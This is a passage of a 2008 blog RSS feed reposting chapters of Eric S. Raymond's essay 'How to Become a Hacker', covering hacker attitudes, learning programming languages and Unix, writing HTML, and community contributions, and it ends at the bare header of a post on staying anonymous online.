<p class="MsoNormal"><span style="" lang="EN">If you&#8217;re a newbie, try to find a program under development that you&#8217;re interested in and be a good beta-tester. There&#8217;s a natural progression from helping test programs to helping debug them to helping modify them. You&#8217;ll learn a lot this way, and generate good karma with people who will help you later on.<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_3._Publish_useful_information"></a><b><span style="" lang="EN">3. Publish useful information<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">Another good thing is to collect and filter useful and interesting information into web pages or documents like Frequently Asked Questions (FAQ) lists, and make those generally available.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Maintainers of major technical FAQs get almost as much respect as open-source authors.<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_4._Help_keep_the infrastructure wor"></a><b><span style="" lang="EN">4. Help keep the infrastructure working<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There&#8217;s a lot of necessary but unglamorous work that needs done to keep it going — administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not as much fun as playing with code. Doing them shows dedication.<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_5._Serve_the_hacker culture itself"></a><b><span style="" lang="EN">5. Serve the hacker culture itself<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">Finally, you can serve and propagate the culture itself (by, for example, writing an accurate primer on how to become a hacker <img src='http://ankitkumaragarwal.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> ). This is not something you&#8217;ll be positioned to do until you&#8217;ve been around for while and become well-known for one of the first four things.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">The hacker culture doesn&#8217;t have leaders, exactly, but it does have culture heroes and tribal elders and historians and spokespeople. When you&#8217;ve been in the trenches long enough, you may grow into one of these. Beware: hackers distrust blatant ego in their tribal elders, so visibly reaching for this kind of fame is dangerous. Rather than striving for it, you have to sort of position yourself so it drops in your lap, and then be modest and gracious about your status.</span></p>
<p class="MsoNormal"><span class="fullpost"><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html"> chapter-1</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html">chapter-2</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html">chapter-3</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html">chapter-4</a></p>
<p>source:Article written by Sir ESR</span><br /><span style="" lang="EN"><o:p></o:p></span></p>
<p></span></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to become a hacker-ch 2</title>
		<link>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-2/</link>
		<comments>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-2/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 19:13:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[info]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=21</guid>
		<description><![CDATA[Chapter-2  
  
Table of Contents
Basic Hacking Skills
1. Learn how to program.
2. Get one of the open-source Unixes and learn to use and run it.
3. Learn how to use the World Wide Web and write HTML.
4. If you don&#8217;t have functional English, learn it.


The hacker attitude is vital, but skills are even more vital. [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 255);">Chapter-2</span>  </p>
<p class="MsoNormal"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_What_Is_a_Hacker?">  </a></p>
<p class="MsoNormal"><b>Table of Contents</b></p>
<p class="MsoNormal"><b><span style="" lang="EN">Basic Hacking Skills</span></b></p>
<p class="MsoNormal">1. Learn how to program.</p>
<p>2. Get one of the open-source Unixes and learn to use and run it.</p>
<p>3. Learn how to use the World Wide Web and write HTML.</p>
<p>4. If you don&#8217;t have functional English, learn it.<br /><b><span style="" lang="EN"><o:p></o:p></span></b></p>
<p><span style="text-decoration: underline;"></span>
<p class="MsoNormal"><span style="" lang="EN"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=1614078792809148744#4.%20If%20you%20don%27t%20have%20functional%20English,%20learn%20it."></a><o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there&#8217;s a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn&#8217;t until recently involve HTML. But right now it pretty clearly includes the following:<o:p></o:p></span></p>
<p><span class="fullpost">
<p class="MsoNormal"><a name="_1._Learn_how_to program."></a><b><span style="" lang="EN">1. Learn how to program.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">This, of course, is the fundamental hacking skill. If you don&#8217;t know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed <a href="http://www.linuxjournal.com/article.php?sid=3882" target="_top">evaluation of Python</a>. Good <a href="http://docs.python.org/tut/tut.html" target="_top">tutorials</a> are available at the <a href="http://docs.python.org/tutorial/" target="_top">Python web site</a>.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">I used to recommend Java as a good language to learn early, but <a href="http://www.stsc.hill.af.mil/CrossTalk/2008/01/0801DewarSchonberg.html" target="_top">this critique</a> has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it “approach problem-solving like a plumber in a hardware store”; you have to know what the components actually <i>do</i>. Now I think it is probably best to learn C and Lisp first, then Java.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">C is very efficient, and very sparing of your machine&#8217;s resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today&#8217;s machines as powerful as they are, this is usually a bad tradeoff — it&#8217;s smarter to use a language that uses the machine&#8217;s time less efficiently, but your time much <i>more</i> efficiently. Thus, Python.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Other languages of particular importance to hackers include <a href="http://www.perl.com/" target="_top">Perl</a> and <a href="http://www.lisp.org/" target="_top">LISP</a>. Perl is worth learning for practical reasons; it&#8217;s very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don&#8217;t require C&#8217;s machine efficiency. You will need to be able to understand their code.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">It&#8217;s best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">But be aware that you won&#8217;t reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what&#8217;s in the manual to what you already know. This means you should learn several very different languages.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">I can&#8217;t give complete instructions on how to learn to program here — it&#8217;s a complex skill. But I can tell you that books and courses won&#8217;t do it — many, maybe <i>most</i> of the best hackers are self-taught. You can learn language features — bits of knowledge — from books, but the mind-set that makes that knowledge into living skill can be learned only by practice and apprenticeship. What will do it is (a) <i>reading code</i> and (b) <i>writing code</i>.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Peter Norvig, who is one of Google&#8217;s top hackers and the co-author of the most widely used textbook on AI, has written an excellent essay called <a href="http://norvig.com/21-days.html" target="_top">Teach Yourself Programming in Ten Years</a>. His &#8220;recipe for programming success&#8221; is worth careful attention.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Learning to program is like learning to write good natural language. The best way to do it is to read some stuff written by masters of the form, write some things yourself, read a lot more, write a little more, read a lot more, write some more &#8230; and repeat until your writing begins to develop the kind of strength and economy you see in your models.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Finding good code to read used to be hard, because there were few large programs available in source for fledgeling hackers to read and tinker with. This has changed dramatically; open-source software, programming tools, and operating systems (all built by hackers) are now widely available. Which brings me neatly to our next topic&#8230;<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_2._Get_one_of the open-source Unixe"></a><b><span style="" lang="EN">2. Get one of the open-source Unixes and learn to use and run it.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">I&#8217;ll assume you have a personal computer or can get access to one. (Take a moment to appreciate how much that means. The hacker culture originally evolved back when computers were so expensive that individuals could not own them.) The single most important step any newbie can take toward acquiring hacker skills is to get a copy of Linux or one of the BSD-Unixes or OpenSolaris, install it on a personal machine, and run it.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Yes, there are other operating systems in the world besides Unix. But they&#8217;re distributed in binary — you can&#8217;t read the code, and you can&#8217;t modify it. Trying to learn to hack on a Microsoft Windows machine or under any other closed-source system is like trying to learn to dance while wearing a body cast.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Under Mac OS X it&#8217;s possible, but only part of the system is open source — you&#8217;re likely to hit a lot of walls, and you have to be careful not to develop the bad habit of depending on Apple&#8217;s proprietary code. If you concentrate on the Unix under the hood you can learn some useful things.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Unix is the operating system of the Internet. While you can learn to use the Internet without knowing Unix, you can&#8217;t be an Internet hacker without understanding Unix. For this reason, the hacker culture today is pretty strongly Unix-centered. (This wasn&#8217;t always true, and some old-time hackers still aren&#8217;t happy about it, but the symbiosis between Unix and the Internet has become strong enough that even Microsoft&#8217;s muscle doesn&#8217;t seem able to seriously dent it.)<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">So, bring up a Unix — I like Linux myself but there are other ways (and yes, you <i>can</i> run both Linux and Microsoft Windows on the same machine). Learn it. Run it. Tinker with it. Talk to the Internet with it. Read the code. Modify the code. You&#8217;ll get better programming tools (including C, LISP, Python, and Perl) than any Microsoft operating system can dream of hosting, you&#8217;ll have fun, and you&#8217;ll soak up more knowledge than you realize you&#8217;re learning until you look back on it as a master hacker.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">For more about learning Unix, see <a href="http://catb.org/%7Eesr/faqs/loginataka.html" target="_top">The Loginataka</a>. You might also want to have a look at <a href="http://catb.org/%7Eesr/writings/taoup/" target="_top">The Art Of Unix Programming</a>.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">To get your hands on a Linux, see the <a href="http://www.linux.org/" target="_top">Linux Online!</a> site; you can download from there or (better idea) find a local Linux user group to help you with installation.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">During the first ten years of this HOWTO&#8217;s life, I reported that from a new user&#8217;s point of view, all Linux distributions are almost equivalent. But in 2006-2007, an actual best choice emerged: <a href="http://www.ubuntu.com/" target="_top">Ubuntu</a>. While other distros have their own areas of strength, Ubuntu is far and away the most accessible to Linux newbies.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">You can find BSD Unix help and resources at <a href="http://www.bsd.org/" target="_top">www.bsd.org</a>.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">A good way to dip your toes in the water is to boot up what Linux fans call a <a href="http://www.livecdnews.com/" target="_top">live CD</a>, a distribution that runs entirely off a CD without having to modify your hard disk. This will be slow, because CDs are slow, but it&#8217;s a way to get a look at the possibilities without having to do anything drastic.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">I have written a primer on the <a href="http://en.tldp.org/HOWTO/Unix-and-Internet-Fundamentals-HOWTO/index.html" target="_top">basics of Unix and the Internet</a>.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">I used to recommend against installing either Linux or BSD as a solo project if you&#8217;re a newbie. Nowadays the installers have gotten good enough that doing it entirely on your own is possible, even for a newbie. Nevertheless, I still recommend making contact with your local Linux user&#8217;s group and asking for help. It can&#8217;t hurt, and may smooth the process.<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_3._Learn_how_to use the World Wide "></a><b><span style="" lang="EN">3. Learn how to use the World Wide Web and write HTML.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">Most of the things the hacker culture has built do their work out of sight, helping run factories and offices and universities without any obvious impact on how non-hackers live. The Web is the one big exception, the huge shiny hacker toy that even <i>politicians</i> admit has changed the world. For this reason alone (and a lot of other good ones as well) you need to learn how to work the Web.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">This doesn&#8217;t just mean learning how to drive a browser (anyone can do that), but learning how to write HTML, the Web&#8217;s markup language. If you don&#8217;t know how to program, writing HTML will teach you some mental habits that will help you learn. So build a home page. Try to stick to XHTML, which is a cleaner language than classic HTML. (There are good beginner tutorials on the Web; <a style="border-bottom-style: groove;" href="http://htmldog.com/" target="_top">here&#8217;s one</a>.)<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">But just having a home page isn&#8217;t anywhere near good enough to make you a hacker. The Web is full of home pages. Most of them are pointless, zero-content sludge — very snazzy-looking sludge, mind you, but sludge all the same (for more on this see <a href="http://catb.org/%7Eesr/html-hell.html" target="_top">The HTML Hell Page</a>).<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">To be worthwhile, your page must have <i>content</i> — it must be interesting and/or useful to other hackers. And that brings us to the next topic&#8230;<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_4._If_you_don't have functional Eng"></a><b><span style="" lang="EN">4. If you don&#8217;t have functional English, learn it.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It&#8217;s an example worth following.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we&#8217;ve generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can&#8217;t yet write competently, learn to.</span></p>
<p class="MsoNormal"><span style="" lang="EN"><o:p></o:p></span></p>
<p><a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html">chapter-1</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html">chapter-2</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html">chapter-3</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html">chapter-4</a></p>
<p>source:Article written by Sir ESR</span></p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to become a hacker-ch 1</title>
		<link>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-1/</link>
		<comments>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-1/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 19:04:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[info]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=20</guid>
		<description><![CDATA[Chapter-1
  
Table of Contents
What Is a Hacker?
The Hacker Attitude
1. The world is full of fascinating problems waiting to be solved.
2. No problem should ever have to be solved twice.
3. Boredom and drudgery are evil.
4. Freedom is good.
5. Attitude is no substitute for competence.


What Is a Hacker?
The Jargon File contains a bunch of definitions of [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 255);">Chapter-1</span>
<p class="MsoNormal"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_What_Is_a_Hacker?">  </a></p>
<p class="MsoNormal"><b>Table of Contents</b></p>
<p class="MsoNormal">What Is a Hacker?</p>
<p>The Hacker Attitude</p>
<p>1. The world is full of fascinating problems waiting to be solved.</p>
<p>2. No problem should ever have to be solved twice.</p>
<p>3. Boredom and drudgery are evil.</p>
<p>4. Freedom is good.</p>
<p>5. Attitude is no substitute for competence.<b></p>
<p></b></p>
<p>
<p class="MsoNormal"><b><span style="" lang="EN">What Is a Hacker?<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">The <a href="http://www.catb.org/jargon" target="_top">Jargon File</a> contains a bunch of definitions of the term ‘hacker’, most having to do with technical adeptness and a delight in solving problems and overcoming limits. If you want to know how to <i>become</i> a hacker, though, only two are really relevant.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">There is a community, a shared culture, of expert programmers and networking wizards that traces its history back through decades to the first time-sharing minicomputers and the earliest ARPAnet experiments. The members of this culture originated the term ‘hacker’. Hackers built the Internet. Hackers made the Unix operating system what it is today. Hackers run Usenet. Hackers make the World Wide Web work. If you are part of this culture, if you have contributed to it and other people in it know who you are and call you a hacker, you&#8217;re a hacker.<o:p></o:p></span></p>
<p><span class="fullpost">
<p class="MsoNormal"><span style="" lang="EN">The hacker mind-set is not confined to this software-hacker culture. There are people who apply the hacker attitude to other things, like electronics or music — actually, you can find it at the highest levels of any science or art. Software hackers recognize these kindred spirits elsewhere and may call them ‘hackers’ too — and some claim that the hacker nature is really independent of the particular medium the hacker works in. But in the rest of this document we will focus on the skills and attitudes of software hackers, and the traditions of the shared culture that originated the term ‘hacker’.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">There is another group of people who loudly call themselves hackers, but aren&#8217;t. These are people (mainly adolescent males) who get a kick out of breaking into computers and phreaking the phone system. Real hackers call these people ‘crackers’ and want nothing to do with them. Real hackers mostly think crackers are lazy, irresponsible, and not very bright, and object that being able to break security doesn&#8217;t make you a hacker any more than being able to hotwire cars makes you an automotive engineer. Unfortunately, many journalists and writers have been fooled into using the word ‘hacker’ to describe crackers; this irritates real hackers no end.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">The basic difference is this: hackers build things, crackers break them.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">If you want to be a hacker, keep reading. If you want to be a cracker, go read the <a href="news:alt.2600" target="_top">alt.2600</a> newsgroup and get ready to do five to ten in the slammer after finding out you aren&#8217;t as smart as you think you are. And that&#8217;s all I&#8217;m going to say about crackers.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN"><o:p> </o:p></span></p>
<p class="MsoNormal"><a name="_The_Hacker_Attitude"></a><b><span style="" lang="EN">The Hacker Attitude<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_1._The_world_is%20full%20of%20fascinating">1. The world is full of fascinating problems waiting to be solved.<o:p></o:p></a></span></p>
<p class="MsoNormal"><span style="" lang="EN"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_2._No_problem_should%20ever%20have%20to%20b">2. No problem should ever have to be solved twice.</a><o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_3._Boredom_and_drudgery%20are%20evil.">3. Boredom and drudgery are evil.</a><o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_4._Freedom_is_good.">4. Freedom is good.</a><o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN"><a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;postID=541517530539981089#_5._Attitude_is_no%20substitute%20for%20co">5. Attitude is no substitute for competence.</a><o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Hackers solve problems and build things, and they believe in freedom and voluntary mutual help. To be accepted as a hacker, you have to behave as though you have this kind of attitude yourself. And to behave as though you have the attitude, you have to really believe the attitude.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">But if you think of cultivating hacker attitudes as just a way to gain acceptance in the culture, you&#8217;ll miss the point. Becoming the kind of person who believes these things is important for <i>you</i> — for helping you learn and keeping you motivated. As with all creative arts, the most effective way to become a master is to imitate the mind-set of masters — not just intellectually but emotionally as well.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Or, as the following modern Zen poem has it:<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN"><br />To follow the path:<br />look to the master,<br />follow the master,<br />walk with the master,<br />see through the master,<br />become the master.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">So, if you want to be a hacker, repeat the following things until you believe them:<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_1._The_world_is full of fascinating"></a><b><span style="" lang="EN">1. The world is full of fascinating problems waiting to be solved.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">Being a hacker is lots of fun, but it&#8217;s a kind of fun that takes lots of effort. The effort takes motivation. Successful athletes get their motivation from a kind of physical delight in making their bodies perform, in pushing themselves past their own physical limits. Similarly, to be a hacker you have to get a basic thrill from solving problems, sharpening your skills, and exercising your intelligence.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">If you aren&#8217;t the kind of person that feels this way naturally, you&#8217;ll need to become one in order to make it as a hacker. Otherwise you&#8217;ll find your hacking energy is sapped by distractions like sex, money, and social approval.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">(You also have to develop a kind of faith in your own learning capacity — a belief that even though you may not know all of what you need to solve a problem, if you tackle just a piece of it and learn from that, you&#8217;ll learn enough to solve the next piece — and so on, until you&#8217;re done.)<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_2._No_problem_should ever have to b"></a><b><span style="" lang="EN">2. No problem should ever have to be solved twice.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">Creative brains are a valuable, limited resource. They shouldn&#8217;t be wasted on re-inventing the wheel when there are so many fascinating new problems waiting out there.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">To behave like a hacker, you have to believe that the thinking time of other hackers is precious — so much so that it&#8217;s almost a moral duty for you to share information, solve problems and then give the solutions away just so other hackers can solve <i>new</i> problems instead of having to perpetually re-address old ones.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Note, however, that &#8220;No problem should ever have to be solved twice.&#8221; does not imply that you have to consider all existing solutions sacred, or that there is only one right solution to any given problem. Often, we learn a lot about the problem that we didn&#8217;t know before by studying the first cut at a solution. It&#8217;s OK, and often necessary, to decide that we can do better. What&#8217;s not OK is artificial technical, legal, or institutional barriers (like closed-source code) that prevent a good solution from being re-used and <i>force</i> people to re-invent wheels.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">(You don&#8217;t have to believe that you&#8217;re obligated to give <i>all</i> your creative product away, though the hackers that do are the ones that get most respect from other hackers. It&#8217;s consistent with hacker values to sell enough of it to keep you in food and rent and computers. It&#8217;s fine to use your hacking skills to support a family or even get rich, as long as you don&#8217;t forget your loyalty to your art and your fellow hackers while doing it.)<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_3._Boredom_and_drudgery are evil."></a><b><span style="" lang="EN">3. Boredom and drudgery are evil.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">Hackers (and creative people in general) should never be bored or have to drudge at stupid repetitive work, because when this happens it means they aren&#8217;t doing what only they can do — solve new problems. This wastefulness hurts everybody. Therefore boredom and drudgery are not just unpleasant but actually evil.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">To behave like a hacker, you have to believe this enough to want to automate away the boring bits as much as possible, not just for yourself but for everybody else (especially other hackers).<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">(There is one apparent exception to this. Hackers will sometimes do things that may seem repetitive or boring to an observer as a mind-clearing exercise, or in order to acquire a skill or have some particular kind of experience you can&#8217;t have otherwise. But this is by choice — nobody who can think should ever be forced into a situation that bores them.)<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_4._Freedom_is_good."></a><b><span style="" lang="EN">4. Freedom is good.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">Hackers are naturally anti-authoritarian. Anyone who can give you orders can stop you from solving whatever problem you&#8217;re being fascinated by — and, given the way authoritarian minds work, will generally find some appallingly stupid reason to do so. So the authoritarian attitude has to be fought wherever you find it, lest it smother you and other hackers.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">(This isn&#8217;t the same as fighting all authority. Children need to be guided and criminals restrained. A hacker may agree to accept some kinds of authority in order to get something he wants more than the time he spends following orders. But that&#8217;s a limited, conscious bargain; the kind of personal surrender authoritarians want is not on offer.)<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Authoritarians thrive on censorship and secrecy. And they distrust voluntary cooperation and information-sharing — they only like ‘cooperation’ that they control. So to behave like a hacker, you have to develop an instinctive hostility to censorship, secrecy, and the use of force or deception to compel responsible adults. And you have to be willing to act on that belief.<o:p></o:p></span></p>
<p class="MsoNormal"><a name="_5._Attitude_is_no substitute for co"></a><b><span style="" lang="EN">5. Attitude is no substitute for competence.<o:p></o:p></span></b></p>
<p class="MsoNormal"><span style="" lang="EN">To be a hacker, you have to develop some of these attitudes. But copping an attitude alone won&#8217;t make you a hacker, any more than it will make you a champion athlete or a rock star. Becoming a hacker will take intelligence, practice, dedication, and hard work.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">Therefore, you have to learn to distrust attitude and respect competence of every kind. Hackers won&#8217;t let posers waste their time, but they worship competence — especially competence at hacking, but competence at anything is valued. Competence at demanding skills that few can master is especially good, and competence at demanding skills that involve mental acuteness, craft, and concentration is best.<o:p></o:p></span></p>
<p class="MsoNormal"><span style="" lang="EN">If you revere competence, you&#8217;ll enjoy developing it in yourself — the hard work and dedication will become a kind of intense play rather than drudgery. That attitude is vital to becoming a hacker.<o:p></o:p></span></p>
<p><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html"> chapter-1</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html">chapter-2</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html">chapter-3</a><br /><a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html">chapter-4</a></p>
<p>source:Article written by Sir ESR</p>
]]></content:encoded>
			<wfw:commentRss>http://ankitkumaragarwal.com/how-to-become-a-hacker-ch-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Staying anonymous on net</title>
		<link>http://ankitkumaragarwal.com/staying-anonymous-on-net/</link>
		<comments>http://ankitkumaragarwal.com/staying-anonymous-on-net/#comments</comments>
		<pubDate>Tue, 14 Oct 2008 11:51:00 +0000</pubDate>
		<dc:creator>Ankit Kumar Agarwal</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[mobile hacking]]></category>
		<category><![CDATA[tracing]]></category>

		<guid isPermaLink="false">http://ankitkumaragarwal.com/?p=10</guid>
